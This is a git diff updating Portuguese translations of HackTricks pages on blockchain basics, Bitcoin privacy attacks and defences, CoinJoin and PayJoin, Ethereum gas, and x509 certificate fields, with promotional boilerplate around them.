* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -16,145 +16,145 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
## Conceitos Básicos
|
## Conceitos Básicos
|
||||||
|
|
||||||
- **Contratos Inteligentes** são programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
|
- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
|
||||||
- **Aplicações Descentralizadas (dApps)** são construídas sobre contratos inteligentes, apresentando uma interface amigável para o usuário e um back-end transparente e auditável.
|
- **Aplicações Descentralizadas (dApps)** se baseiam em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
|
||||||
- **Tokens & Moedas** diferenciam-se onde moedas servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
|
- **Tokens & Moedas** diferenciam onde moedas servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
|
||||||
- **Tokens de Utilidade** concedem acesso a serviços, e **Tokens de Segurança** significam propriedade de ativos.
|
- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
|
||||||
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
|
- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
|
||||||
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
|
- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
|
||||||
|
|
||||||
## Mecanismos de Consenso
|
## Mecanismos de Consenso
|
||||||
|
|
||||||
Mecanismos de consenso garantem validações seguras e acordadas de transações na blockchain:
|
Mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
|
||||||
- **Prova de Trabalho (PoW)** depende do poder computacional para verificação de transações.
|
- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
|
||||||
- **Prova de Participação (PoS)** exige que validadores possuam uma certa quantidade de tokens, reduzindo o consumo de energia em comparação com PoW.
|
- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
|
||||||
|
|
||||||
## Conceitos Essenciais do Bitcoin
|
## Essenciais do Bitcoin
|
||||||
|
|
||||||
### Transações
|
### Transações
|
||||||
|
|
||||||
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas por meio de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
|
Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
|
||||||
|
|
||||||
#### Componentes Chave:
|
#### Componentes Chave:
|
||||||
|
|
||||||
- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **taxas** (pagas aos mineradores) e **scripts** (regras da transação).
|
- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
|
||||||
|
- As transações consistem em **entradas** (fonte de fundos), **saídas** (destino), **taxas** (pagas aos mineradores) e **scripts** (regras da transação).
|
||||||
|
|
||||||
### Rede Lightning
|
### Lightning Network
|
||||||
|
|
||||||
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
|
Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
|
||||||
|
|
||||||
## Preocupações com a Privacidade do Bitcoin
|
## Preocupações com a Privacidade do Bitcoin
|
||||||
|
|
||||||
Ataques à privacidade, como **Propriedade Comum de Inputs** e **Detecção de Endereço de Troco UTXO**, exploram padrões de transações. Estratégias como **Mixers** e **CoinJoin** melhoram o anonimato ao obscurecer os links de transações entre usuários.
|
Ataques de privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
|
||||||
|
|
||||||
## Adquirindo Bitcoins de Forma Anônima
|
## Adquirindo Bitcoins Anonimamente
|
||||||
|
|
||||||
Métodos incluem negociações em dinheiro, mineração e uso de mixers. **CoinJoin** mistura várias transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
|
Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
|
||||||
|
|
||||||
|
|
||||||
# Ataques à Privacidade do Bitcoin
|
# Ataques de Privacidade do Bitcoin
|
||||||
|
|
||||||
# Resumo dos Ataques à Privacidade do Bitcoin
|
# Resumo dos Ataques de Privacidade do Bitcoin
|
||||||
|
|
||||||
No mundo do Bitcoin, a privacidade das transações e o anonimato dos usuários são frequentemente temas de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais os atacantes podem comprometer a privacidade do Bitcoin.
|
No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
|
||||||
|
|
||||||
## **Assunção de Propriedade Comum de Inputs**
|
## **Assunção de Propriedade de Entrada Comum**
|
||||||
|
|
||||||
Geralmente é raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação frequentemente são assumidos como pertencentes ao mesmo proprietário**.
|
É geralmente raro que entradas de diferentes usuários sejam combinadas em uma única transação devido à complexidade envolvida. Assim, **dois endereços de entrada na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
|
||||||
|
|
||||||
## **Detecção de Endereço de Troco UTXO**
|
## **Detecção de Endereço de Troca UTXO**
|
||||||
|
|
||||||
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troco. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
|
Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
|
||||||
|
|
||||||
### Exemplo
|
### Exemplo
|
||||||
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
|
Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
|
||||||
|
|
||||||
## **Exposição em Redes Sociais e Fóruns**
|
## **Exposição em Redes Sociais & Fóruns**
|
||||||
|
|
||||||
Usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
|
Os usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
|
||||||
|
|
||||||
## **Análise do Grafo de Transações**
|
## **Análise de Gráficos de Transação**
|
||||||
|
|
||||||
Transações podem ser visualizadas como gráficos, revelando conexões potenciais entre usuários com base no fluxo de fundos.
|
As transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
|
||||||
|
|
||||||
## **Heurística de Input Desnecessário (Heurística de Troco Ótimo)**
|
## **Heurística de Entrada Desnecessária (Heurística de Troca Ótima)**
|
||||||
|
|
||||||
Essa heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é o troco que retorna para o remetente.
|
Esta heurística é baseada na análise de transações com múltiplas entradas e saídas para adivinhar qual saída é a troca retornando ao remetente.
|
||||||
|
|
||||||
### Exemplo
|
### Exemplo
|
||||||
```bash
|
```bash
|
||||||
2 btc --> 4 btc
|
2 btc --> 4 btc
|
||||||
3 btc 1 btc
|
3 btc 1 btc
|
||||||
```
|
```
|
||||||
Se adicionar mais inputs faz com que a mudança de saída seja maior do que qualquer input único, pode confundir a heurística.
|
Se adicionar mais entradas faz com que a saída de troco seja maior do que qualquer entrada única, isso pode confundir a heurística.
|
||||||
|
|
||||||
## **Reutilização Forçada de Endereços**
|
## **Reutilização Forçada de Endereço**
|
||||||
|
|
||||||
Os atacantes podem enviar pequenas quantias para endereços usados anteriormente, esperando que o destinatário combine essas com outros inputs em transações futuras, vinculando assim os endereços.
|
Os atacantes podem enviar pequenas quantias para endereços já utilizados, na esperança de que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
|
||||||
|
|
||||||
### Comportamento Correto da Carteira
|
### Comportamento Correto da Carteira
|
||||||
As carteiras devem evitar usar moedas recebidas em endereços vazios já usados para evitar essa exposição de privacidade.
|
As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir essa vazamento de privacidade.
|
||||||
|
|
||||||
## **Outras Técnicas de Análise de Blockchain**
|
## **Outras Técnicas de Análise de Blockchain**
|
||||||
|
|
||||||
- **Quantias de Pagamento Exatas:** Transações sem troco provavelmente são entre dois endereços pertencentes ao mesmo usuário.
|
- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
|
||||||
- **Números Redondos:** Um número redondo em uma transação sugere um pagamento, sendo o output não redondo provavelmente o troco.
|
- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
|
||||||
- **Identificação de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo aos analistas identificar o software usado e potencialmente o endereço de troco.
|
- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
|
||||||
- **Correlações de Quantia e Tempo:** Divulgar horários ou quantias de transação pode tornar as transações rastreáveis.
|
- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
|
||||||
|
|
||||||
## **Análise de Tráfego**
|
## **Análise de Tráfego**
|
||||||
|
|
||||||
Ao monitorar o tráfego de rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
|
Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
|
||||||
|
|
||||||
## Mais
|
## Mais
|
||||||
Para uma lista abrangente de ataques e defesas de privacidade, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
Para uma lista abrangente de ataques à privacidade e defesas, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||||
|
|
||||||
|
|
||||||
# Transações Anônimas de Bitcoin
|
# Transações Anônimas de Bitcoin
|
||||||
|
|
||||||
## Formas de Obter Bitcoins de Forma Anônima
|
## Maneiras de Obter Bitcoins Anonimamente
|
||||||
|
|
||||||
- **Transações em Dinheiro**: Adquirir bitcoin em dinheiro.
|
- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
|
||||||
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
|
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
|
||||||
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feita sozinha, pois os pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
|
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo de forma anônima, embora seja ilegal e não recomendado.
|
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
|
||||||
|
|
||||||
## Serviços de Mistura
|
## Serviços de Mistura
|
||||||
|
|
||||||
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que torna difícil rastrear o proprietário original. No entanto, isso requer confiança no serviço para não manter logs e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin.
|
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin.
|
||||||
|
|
||||||
## CoinJoin
|
## CoinJoin
|
||||||
|
|
||||||
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta associar inputs com outputs. Apesar de sua eficácia, transações com tamanhos de input e output únicos ainda podem ser potencialmente rastreadas.
|
**CoinJoin** mescla várias transações de diferentes usuários em uma, complicando o processo para qualquer um que tente combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
|
||||||
|
|
||||||
Exemplos de transações que podem ter usado o CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço similar no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
|
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
|
||||||
|
|
||||||
## PayJoin
|
## PayJoin
|
||||||
|
|
||||||
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de outputs iguais do CoinJoin. Isso torna extremamente difícil de detectar e poderia invalidar a heurística comum de propriedade de input usada por entidades de vigilância de transações.
|
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
|
||||||
```plaintext
|
```plaintext
|
||||||
2 btc --> 3 btc
|
2 btc --> 3 btc
|
||||||
5 btc 4 btc
|
5 btc 4 btc
|
||||||
```
|
```
|
||||||
Transações como a acima poderiam ser PayJoin, aumentando a privacidade enquanto permanecem indistinguíveis das transações padrão de bitcoin.
|
Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis das transações padrão de bitcoin.
|
||||||
|
|
||||||
**A utilização do PayJoin poderia perturbar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
|
**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
|
||||||
|
|
||||||
|
|
||||||
# Melhores Práticas para Privacidade em Criptomoedas
|
# Melhores Práticas para Privacidade em Criptomoedas
|
||||||
|
|
||||||
## **Técnicas de Sincronização de Carteiras**
|
## **Técnicas de Sincronização de Carteiras**
|
||||||
|
|
||||||
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
|
Para manter a privacidade e a segurança, a sincronização de carteiras com a blockchain é crucial. Dois métodos se destacam:
|
||||||
|
|
||||||
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já feitas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
|
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
|
||||||
- **Filtragem de bloco do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que as carteiras identifiquem transações relevantes sem expor interesses específicos a observadores de rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
|
- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que as carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
|
||||||
|
|
||||||
## **Utilizando Tor para Anonimato**
|
## **Utilizando Tor para Anonimato**
|
||||||
|
|
||||||
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar o Tor para mascarar seu endereço IP, aumentando a privacidade ao interagir com a rede.
|
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar o Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede.
|
||||||
|
|
||||||
## **Prevenindo Reutilização de Endereços**
|
## **Prevenindo Reutilização de Endereços**
|
||||||
|
|
||||||
|
@ -163,24 +163,24 @@ Para proteger a privacidade, é vital usar um novo endereço para cada transaç
|
||||||
## **Estratégias para Privacidade de Transações**
|
## **Estratégias para Privacidade de Transações**
|
||||||
|
|
||||||
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
|
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
|
||||||
- **Evitar troco**: Optar por transações que não exigem troco melhora a privacidade ao interromper métodos de detecção de troco.
|
- **Evitar troco**: Optar por transações que não exigem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
|
||||||
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
|
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar várias saídas de troco ainda pode melhorar a privacidade.
|
||||||
|
|
||||||
# **Monero: Um Farol de Anonimato**
|
# **Monero: Um Farol de Anonimato**
|
||||||
|
|
||||||
O Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão de privacidade.
|
Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
|
||||||
|
|
||||||
# **Ethereum: Gás e Transações**
|
# **Ethereum: Gas e Transações**
|
||||||
|
|
||||||
## **Compreendendo o Gás**
|
## **Entendendo Gas**
|
||||||
|
|
||||||
O Gás mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação custando 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gás e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso sendo reembolsado.
|
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0.00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
|
||||||
|
|
||||||
## **Executando Transações**
|
## **Executando Transações**
|
||||||
|
|
||||||
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou contratos inteligentes. Elas requerem uma taxa e devem ser mineradas. Informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, valor, dados opcionais, limite de gás e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade dele nos dados da transação.
|
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
|
||||||
|
|
||||||
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas priorizando privacidade e segurança.
|
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
|
||||||
|
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
@ -191,3 +191,19 @@ Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje s
|
||||||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -27,7 +27,7 @@ Acesse hoje:
|
||||||
|
|
||||||
Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível.
|
Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível.
|
||||||
|
|
||||||
Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) em uma configuração de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Outro método é a [rede de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito na RFC 5280.
|
Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) em uma configuração de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Outro método é a [web de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito na RFC 5280.
|
||||||
|
|
||||||
## Campos Comuns x509
|
## Campos Comuns x509
|
||||||
|
|
||||||
|
@ -35,13 +35,13 @@ Os certificados são emitidos principalmente por [autoridades certificadoras](ht
|
||||||
|
|
||||||
Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos:
|
Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos:
|
||||||
|
|
||||||
* **Número da Versão** indica a versão do formato x509.
|
* **Número da Versão** significa a versão do formato x509.
|
||||||
* **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação.
|
* **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação.
|
||||||
